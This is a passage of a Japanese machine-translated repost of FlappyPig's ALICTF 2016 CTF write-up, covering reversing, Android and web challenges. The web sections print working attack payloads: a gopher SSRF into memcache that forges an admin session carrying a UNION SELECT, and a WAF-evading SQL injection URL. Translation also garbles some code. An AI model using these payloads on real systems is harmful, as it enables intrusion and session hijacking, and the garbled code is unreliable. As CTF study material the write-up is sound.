ホームページ >バックエンド開発 >PHPチュートリアル >ALICTF2016 FlappyPig WriteUp (優勝チーム FlappyPig クリア作戦) (2)

ALICTF2016 FlappyPig WriteUp (優勝チーム FlappyPig クリア作戦) (2)

WBOY
WBOYオリジナル
2016-06-23 13:01:481125ブラウズ

9.uguscode

呼び出し関数のアドレスは次のように計算されますが、a1=2 なのでジャンプアドレスは手動で計算できます。

プログラムには XOR 復号化する必要があるコードがいくつかあります:

fromidaapi import *

defdecrypt(start, end, xor_data):

for i in range(start, end):

a = get_byte (i)

patch_byte(i, a^xor_data)

decrypt(0x603440,0x603440+250, 0x49)

decrypt(0x603740,0x603740+672, 0x7e)

decrypt (0x603 a00,0x603a00+0x1fd, 0xef)

最後に 4 つの不確実性があり、md5 を爆破します。

f ='35faf651b1a72022e8ddfed1caf7c45f'

defmd5(src):

m2 = hashlib.md5()

m2.update(src)

return m2.hexdigest( )

i1 範囲内 (0x20、0x80) の場合:

範囲(0x20, 0x80)のi2の場合:

範囲(0x20, 0x80)のi3の場合:

範囲(0x20, 0x80)のi4の場合:

f2 ='M'+chr(i1)+ chr(i2)+chr(i3)+chr(i4)+'A1w4ys_H3re'

if md5(f2) == f:

print f2

break

フラグは: alictf{Pr0bl3M_1s_A1w4ys_H3re}

10.デバッグ

デュアルプロセス保護、まず親プロセスを見てください。それは比較的単純です

主なことは、サブルーチンが 2 か所で停止したときにメモリを変更することです。

プログラムに手動でパッチを適用した後、子プロセスをデバッグできます。

アルゴリズムを分析したところ、Tea 暗号化が実行され、その後 0x31 が XOR 演算され、固定文字列と比較されたことがわかりました。

こちらのお茶は標準のお茶とは主にラウンド数が異なり、ラウンド数が32から128に変更されています。お茶の復号化プログラムを少し変更することで正常に復号化できます。

from zioimport *

f =open('./debug', 'rb')

d =f.read()[0x7030:0x7030+0x10]

d2 = ''

for i inrange( 0x10):

d2 += chr(ord(d[i])^0x31)

printHEX(d2)

#5dff17ed14f787e92842a1dc0a97f732

#include

voiddecrypt(unsigned long *v , unsigned long *k) {

unsignedlong y=v[0], z=v[1], sum=0xC6EF3720, i; /* セットアップ */

sum =0x1bbcdc80;

unsignedlong delta=0x9e3779b9; / * キースケジュール定数 */

unsignedlong a=k[0], b=k[1], c=k[2], d=k[3]; /* キャッシュキー */

for(i= 0 ;i<128; i++)

{ /*基本サイクル開始 */

z -=((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d );

y -=((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);

sum -=delta; /* サイクル終了 * /

}

v[0]=y;

v[1]=z;

}

voidmain()

{

unsigned long plain2[2] = {0xed17ff5d,0xe987f714};

decrypt (plain2, key);

printf("%08x%08x", plain2[0],plain2[1]);

unsigned long plain3[2] = {0xdca14228,0x32f7970a};

decrypt(plain3, key ; key , call stringFromJNI2 関数は、正しい数値が渡されていればフラグを生成できます。爆発した場合、成功率はおそらく高くありません。したがって、焦点は依然として適切な番号を見つけることにあります。

メインロジックは以下の通りです

簡単に見てみると、上記のコードは毎秒実行され、this.beg によって与えられるタイムアウトは 200000 秒であると結論付けることができます。下の図のように

つまり、アプリケーションが 200000 秒間継続して実行されている限り、フラグが表示されます。 。 。

もちろん、直接実行した場合、おそらくポイントはありません。上記のロジックを分析すると、次の Python コードが生成されます。

is_prime のコードは

APK から直接コピーして変更してください。最後に、k は 1616384 であることがわかり、これを stringFromJNI2 に渡すことができます。

パラメータを渡す場合、最初にフックメソッドを検討することもできますが、適切な携帯電話が手元になかったので、smaliコードを直接変更して再パッケージ化して実行することにしました。

Andoird Killer で apk を開き、まず MainActivity.smali を以下に示すように変更して、k 値がデフォルトの 1616384 になるようにします。

次に、MainActivity$1.smali を 2 か所変更します。1 つ目は、プログラムが stringFromJNI2 を直接実行するように判定デバッグを変更し、2 つ目は、このコードが 1 回だけ実行されるように時間更新をコメント化します。

最後に、APKをインストールして実行するだけです。背景を白に変更しないと、文字がはっきりと見えません。

12. LoopAndLoop

この質問の主なロジックは次のとおりです。正しい数値を入力する限り、フラグを取得できます。

ライブラリの check 関数を見てみましょう。主なロジックは次のとおりです。lib の check 関数は Java 層の check1、check2、および check3 関数を循環することがわかります。ここで実際に呼び出される _JNIEnv::CallIntMethod 関数には、実際には 5 つのパラメーターしかありません。4 番目のパラメーターは、check 関数に渡される最初のパラメーターです。チェック関数に渡される 2 番目のパラメータから 1 を引いた値です (パラメータ自体ではありません!!)

Java 層のこれら 3 つのチェック関数は、単純なループの加算と減算を実行するだけで、以下に示すように Python に変換されます

最終的に出力される数値は正しい数値 236492408 (算術シーケンスを直接合計できることはわかっていますが、私は怠け者です)。フラグを取得するには、apk を入力します。

13. Steady

この質問は純粋なネイティブ APK アプリケーションです。関連する原則については、以下を参照してください。 .html

この質問は複雑な ollvm 難読化を使用しており、すべて while ループとキーワード判定を使用して解決されています。

この質問はおそらくゲームです。APK の実行中に、写真に示すように、角度が変化すると対応する結果が adb ログに出力されます。角度が正しい場合、画面の色が変わります。

コードを調べたところ、画面の 3 つの角度が a_process 関数に渡され、a_process 関数の戻り値が別の配列と比較されることがわかりました。キー コードは次のとおりです。

現時点での3つを考慮すると、入力変数はAngleのみであり、angleに影響を受ける変数はa_processの戻り値のみであるため、入力を鍛造する目的を達成するためにa_processの戻り値を変更することを検討します。 a_process の戻り値を配列内の値に変更すると、フラグを出力するコードを正常に実行できます。

ただし、このときのフラグ出力は文字化けしています。他の理由を考えてください。

a_process 関数を調べると、この関数が返すことができる最大値は 6 であり、配列には 7 と 9 が出現することがわかりました。

コードの研究を続けると、b_process の実行結果が a_process の実行結果に追加されることがわかります

同時に、以下に示すように、b_process は a_process が 6 を返した場合にのみ実行されることがわかります

いつ 7 と 9 に変更する必要があるかを検討し、a_process の戻り値を 6 に変更し、b_process の戻り値をそれぞれ 1 と 3 に変更します。 最後に、フラグは alictf{PvrNa7iv3Ap6}

14 です。

Traffic パッケージ、APK を取得します

#!/usr/bin/env python from scapy import*

from scapy.all import*

import io

import struct

importシス

b = io.BytesIO()

rawpcap = rdpcap (sys.argv[1])

rawpcap = [_ for _ in rawpcapifTCP in_ and_[TCP].dport == 5555and _[IP].src == "10.0. 2.2" および Rawin _[IP]]

rawpcap = next( rawpcap[i+1:] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('/data/local/tmp' ) !=-1 andp[Raw].load .find('SEND') != -1)

rawpcap = next( rawpcap[:i] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw]。 load.find('pm 'install'') != -1)

print(len(rawpcap))

#b.write(''.join([p[Raw].load[24:] for p inrawpcap if Raw in p ]))

for p in rawpcap:

if Rawin p:

data = p[Raw].load

if data.startswith('WRTE'):

data = data[24 :]

b.write(data)

b.seek(0)

#print b.read()

a = open('out.apk','wb')

header = b.read (8)

while header != "" :

tag, datalen =struct.unpack('<4sI',header)

if tag== "DATA":

a.write(b.read( datalen)))

else:

break

header = b.read(8)

a.c loss()

逆アルゴリズム、aes と md5、私は次のように復元する py を書きました

import hashlib

from Crypto.Cipher import AES

def hex2bytes(s):

r=s.decode("hex")

a=[]

for i in r:

a.append (ord(i))

return a

def fix (a,b):

v0=0

v8=8

v2=[]

v3=[]

for i in range(len (a)):

v2.append(0)

for i in range(v8):

v3.append(0)

for v1 in range(0,v8):

v3[7-v1 ]= 255& b

b=b>>v8

while v0

v2[v0]=ord(chr(a[v0]^ v3[v0%8]))

v0+ =1

return v2

def pre(arg6):

a=[]

for i in range(0,len(arg6),2):

a.append(int(arg6[i]+ arg6[i+1],16))

を返す

def showlist(a):

for i in a:

if i >=128:

print i-256,

else:

print i,

print ""

androidId = " bb39b07060deabd5"

timestamp=1463149196345

iv =fix(hex2bytes("46514BF9F2B3CD3BF580B7CD9BAE4514"), タイムスタンプ)

showlist(iv)

encryptedData = ("DA2990BF15B7FD98A4E73EF766CD714F6F63B2E7F2) 7 0C55F0CAF7E704CA7702F")

showlist(encryptedData)

temp=hashlib.md5(androidId).hexdigest( )

key = pre(temp)

showlist(key)

content1=""

key1=""

iv1=""

for i in encryptedData:

content1=content1+chr(i)

for i in key:

key1=key1+chr(i)

for i in iv:

iv1=iv1+chr(i)

obj = AES.new(key1,AES.MODE_CBC, iv1)

print obj.decrypt(content1)

15. 採用(II)

Wuyun に関する記事がたくさんあります:

http://drops.wooyun.org/tips/16357

http://drops wooyun.org/papers/13948

http://drops.wooyun.org/papers/8261

まずssrfをテストするための環境を設定し、最初にいくつかのVPSを試してください。脆弱性は、写真の URL に別のサフィックスを付けると、問題が発生します。jpg サフィックスも php として実行できるように、Apache 設定ファイルを変更します。

jpg を追加するだけです。

ローカル建設 xxx.jpg、テスト:

URL を送信:

テストは成功しました。

リバウンド sh が失敗し、さまざまなイントラネット プロトコル テストがローカル ポート 11211 で実行されていることが見つかり、ローカル アクセスが制限されました。

ssrf を実行して memcache にアクセスすると、index.php の画像にエコーが反映されます。画像をダウンロードして表示できます。

version コマンドを使用してバージョン情報を取得します: VERSION1.4.14 (Ubuntu)

stat アイテムを使用して 4 つの ID を持つアイテムを取得します:

次にコンテンツを取得します:

次に:

ヘッダー ('場所: gopher://127.0.0.1:11211/_get%20123123.lock%0aget%20v7j9fqjd87ahllrt3nuamn3860%0aget%201a7ippv1hln313834vkqeck2a1%0aget%203ftrcl490ovko8fkjmrsub5ub6% 0 aget%20luqfvoniepg4m38u4h1m4p2l94%0aget%20b27dfchc0lbkvdhv6s4qutt1t6%0aget%20ldq98pp1eqn3bcl28esca6doj7%0aget%207ve2m51ho3ik2phntbbf6mda45.lock % 0aget%20hos82c41uh5c5vcbsoorv7cv47.lock%0aget%20e6lbcsnd1jqlkcdlpksdqa5653.lock%0aget%20tv2b4vad0ea9itqkk3h5a35lg2.lock%0aget%203q4b3tclao3odc5thdhr6fq2l7%0age t%200mq7lftahvoeb0rl428b4tagr1%0aget%207ve2m51ho3ik2phntbbf6mda45%0aget%20vm3t f5drmvnp2f508vrourden4%0aget%20e6lbcsnd1jqlkcdlpksdqa5653%0aget%20hos82c41uh5c5 vcb soorv7cv47%0aget%20tv2b4vad0ea9itqkk3h5a35lg2% 0aquit%0a' );

?>

セッションがここに保存されていることがわかりました。 set コマンドで変更し、is_admin を 1 に変更し、admin に正常にログインします。

実行する必要がある一連の命令:

jpg の生成:

/admin に正常にログインし、メモを見つけ、セッション内の IP を 127.0.0.1 に変更しようとして、gopher 経由で http リクエストを送信しました。 memo.phpにアクセスしようとしましたが、それでもローカルユーザーではないというメッセージが表示され、この時点でbackup.phpが見つかり、サイト全体のソースコードにアクセスして注釈付きのバックアップファイルが見つかり、ダウンロードされ、監査されました、WAFフィルタリングは比較的厳格です、ただし、セッションはフィルタリングされていません。セッションは ssrf+memecache を通じて変更できます

Unionselect 注入を使用し、テストは 7 列で、ペイロードを構築し、セッションを変更し、index.php にアクセスし、フラグ (ライブラリ テーブル名) を取得しますはソース コードに示されています):

header('Location:gopher://127.0. 0.1:11211/_set%20gfe2m51ho3ik2phntbbf6mda45%200%200%20177%0d%0agtserver|i:1; captcha_id|s:11:"captcha_110";is_login|b:1;is_admin|b:1;user_ip|s:14: "218.29.102.114";username|s:61:"dfah'%20union%20select%201, content,3,4,5,6,7%20from%20memo%20where%20'1'='1";% 0d%0aquit%0d%0a');

?>

16. Findpass

アカウントを登録すると掲示板があることが分かりました

そこでユーザー名にxssを入れてみました。

午前中ずっとクッキーを集めました

アイデアの波

後で、HHHH が登録を上書きできることが分かりました

http://114.55.1.176:4458/detail.php?user_name=HHHH

user_name が持っていますインジェクション、 xss

ペイロードによって取得された構造ペイロードによると:

http://114.55.1.176:4458/detail.php?user_name=HHHH%27%0aununion%0aselselectect%0auser_pass,2,3,4%0afrfromom %0atest.users %0auunionion%0aselselectect%0a1,2,3,4%0aorr%0a%271

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。